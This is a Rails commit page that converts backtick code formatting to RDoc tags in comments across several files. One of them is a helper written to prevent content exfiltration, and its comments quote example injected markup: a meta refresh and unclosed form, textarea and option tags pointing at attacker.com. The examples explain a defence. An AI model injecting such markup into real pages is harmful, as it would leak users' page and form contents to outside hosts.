Skip to content

Commit ac36805

Browse files
authored
Merge pull request rails#46607 from skipkayhil/doc-readonly-code
Fix lots of code highlighting issues [ci skip]
2 parents fa09e3c + a07f2ac commit ac36805

File tree

9 files changed

+30
-28
lines changed

9 files changed

+30
-28
lines changed

actioncable/lib/action_cable/remote_connections.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ module ActionCable
2121
# it uses the internal channel that all of these servers are subscribed to.
2222
#
2323
# By default, server sends a "disconnect" message with "reconnect" flag set to true.
24-
# You can override it by specifying the `reconnect` option:
24+
# You can override it by specifying the +reconnect+ option:
2525
#
2626
# ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect(reconnect: false)
2727
class RemoteConnections

actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ module ContentExfiltrationPreventionHelper
1313
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
1414
#
1515
# The HTML following this tag, up until the next single quote would be sent to
16-
# https://attacker.com. By closing any open attributes, we ensure that form
16+
# +https://attacker.com+. By closing any open attributes, we ensure that form
1717
# contents are never exfiltrated this way.
1818
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
1919

@@ -23,35 +23,37 @@ module ContentExfiltrationPreventionHelper
2323
#
2424
# For example, an attacker might inject:
2525
#
26-
# <form action="https://attacker.com"><textarea>
26+
# <form action="https://attacker.com"><textarea>
2727
#
28-
# The HTML following this tag, up until the next `</textarea>` or the end of
29-
# the document would be captured by the attacker's <textarea>. By closing any
30-
# open textarea tags, we ensure that form contents are never exfiltrated.
28+
# The HTML following this tag, up until the next <tt></textarea></tt> or
29+
# the end of the document would be captured by the attacker's
30+
# <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31+
# form contents are never exfiltrated.
3132
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
3233

3334
# Close any open option tags before each form tag. This prevents attackers
3435
# from injecting unclosed options that could leak markup offsite.
3536
#
3637
# For example, an attacker might inject:
3738
#
38-
# <form action="https://attacker.com"><option>
39+
# <form action="https://attacker.com"><option>
3940
#
40-
# The HTML following this tag, up until the next `</option>` or the end of
41-
# the document would be captured by the attacker's <option>. By closing any
42-
# open option tags, we ensure that form contents are never exfiltrated.
41+
# The HTML following this tag, up until the next <tt></option></tt> or the
42+
# end of the document would be captured by the attacker's
43+
# <tt><option></tt>. By closing any open option tags, we ensure that form
44+
# contents are never exfiltrated.
4345
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
4446

4547
# Close any open form tags before each new form tag. This prevents attackers
4648
# from injecting unclosed forms that could leak markup offsite.
4749
#
4850
# For example, an attacker might inject:
4951
#
50-
# <form action="https://attacker.com">
52+
# <form action="https://attacker.com">
5153
#
52-
# The form elements following this tag, up until the next `</form>` would be
53-
# captured by the attacker's <form>. By closing any open form tags, we
54-
# ensure that form contents are never exfiltrated.
54+
# The form elements following this tag, up until the next <tt></form></tt>
55+
# would be captured by the attacker's <tt><form></tt>. By closing any open
56+
# form tags, we ensure that form contents are never exfiltrated.
5557
CLOSE_FORM_TAG = "</form>".html_safe.freeze
5658

5759
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze

activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,7 @@ def all_connection_pools
100100
connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs.map(&:pool) }
101101
end
102102

103-
# Returns the pools for a connection handler and given role. If `:all` is passed,
103+
# Returns the pools for a connection handler and given role. If +:all+ is passed,
104104
# all pools belonging to the connection handler will be returned.
105105
def connection_pool_list(role = nil)
106106
if role.nil?

activerecord/lib/active_record/middleware/database_selector.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -43,9 +43,9 @@ module Middleware
4343
# config.active_record.database_resolver = MyResolver
4444
# config.active_record.database_resolver_context = MyResolver::MySession
4545
#
46-
# Note: If you are using `rails new my_app --minimal` you will need to call
47-
# `require "active_support/core_ext/integer/time"` to load the libraries
48-
# for +Time+.
46+
# Note: If you are using <tt>rails new my_app --minimal</tt> you will need
47+
# to call <tt>require "active_support/core_ext/integer/time"</tt> to load
48+
# the core extension in order to use +2.seconds+
4949
class DatabaseSelector
5050
def initialize(app, resolver_klass = nil, context_klass = nil, options = {})
5151
@app = app

activerecord/lib/active_record/readonly_attributes.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ module ClassMethods
1515
# Attributes listed as readonly will be used to create a new record.
1616
# Assigning a new value to a readonly attribute on a persisted record raises an error.
1717
#
18-
# By setting `config.active_record.raise_on_assign_to_attr_readonly` to `false`, it will
19-
# not raise. The value will change in memory, but will not be persisted on `save`.
18+
# By setting +config.active_record.raise_on_assign_to_attr_readonly+ to +false+, it will
19+
# not raise. The value will change in memory, but will not be persisted on +save+.
2020
#
2121
# ==== Examples
2222
#

activerecord/lib/active_record/relation/batches.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -171,7 +171,7 @@ def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore:
171171
# * <tt>:use_ranges</tt> - Specifies whether to use range iteration (id >= x AND id <= y).
172172
# It can make iterating over the whole or almost whole tables several times faster.
173173
# Only whole table iterations use this style of iteration by default. You can disable this behavior by passing +false+.
174-
# If you iterate over the table and the only condition is, e.g., `archived_at: nil` (and only a tiny fraction
174+
# If you iterate over the table and the only condition is, e.g., <tt>archived_at: nil</tt> (and only a tiny fraction
175175
# of the records are archived), it makes sense to opt in to this approach.
176176
#
177177
# Limits are honored, and if present there is no requirement for the batch

activerecord/lib/active_record/relation/query_methods.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -362,9 +362,9 @@ def _select!(*fields) # :nodoc:
362362
# # )
363363
# # SELECT * FROM posts JOIN posts_with_tags ON posts_with_tags.id = posts.id
364364
#
365-
# It is recommended to pass a query as `ActiveRecord::Relation`. If that is not possible
365+
# It is recommended to pass a query as ActiveRecord::Relation. If that is not possible
366366
# and you have verified it is safe for the database, you can pass it as SQL literal
367-
# using `Arel`.
367+
# using +Arel+.
368368
#
369369
# Post.with(popular_posts: Arel.sql("... complex sql to calculate posts popularity ..."))
370370
#
@@ -378,7 +378,7 @@ def _select!(*fields) # :nodoc:
378378
# posts_with_tags: Post.where("tags_count > ?", 0)
379379
# )
380380
#
381-
# or chain multiple `.with` calls
381+
# or chain multiple +.with+ calls
382382
#
383383
# Post
384384
# .with(posts_with_comments: Post.where("comments_count > ?", 0))

activestorage/app/models/active_storage/blob.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -107,7 +107,7 @@ def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, con
107107
# To prevent problems with case-insensitive filesystems, especially in combination
108108
# with databases which treat indices as case-sensitive, all blob keys generated are going
109109
# to only contain the base-36 character alphabet and will therefore be lowercase. To maintain
110-
# the same or higher amount of entropy as in the base-58 encoding used by `has_secure_token`
110+
# the same or higher amount of entropy as in the base-58 encoding used by +has_secure_token+
111111
# the number of bytes used is increased to 28 from the standard 24
112112
def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
113113
SecureRandom.base36(length)

activesupport/lib/active_support/notifications/fanout.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -210,11 +210,11 @@ def groups_for(name) # :nodoc:
210210
groups
211211
end
212212

213-
# A Handle is used to record the start and finish time of event
213+
# A +Handle+ is used to record the start and finish time of event
214214
#
215-
# Both `#start` and `#finish` must each be called exactly once
215+
# Both #start and #finish must each be called exactly once
216216
#
217-
# Where possible, it's best to the block form, +ActiveSupport::Notifications.instrument+
217+
# Where possible, it's best to the block form, ActiveSupport::Notifications.instrument.
218218
# +Handle+ is a low-level API intended for cases where the block form can't be used.
219219
#
220220
# handle = ActiveSupport::Notifications.instrumenter.build_handle("my.event", {})

0 commit comments

Comments
 (0)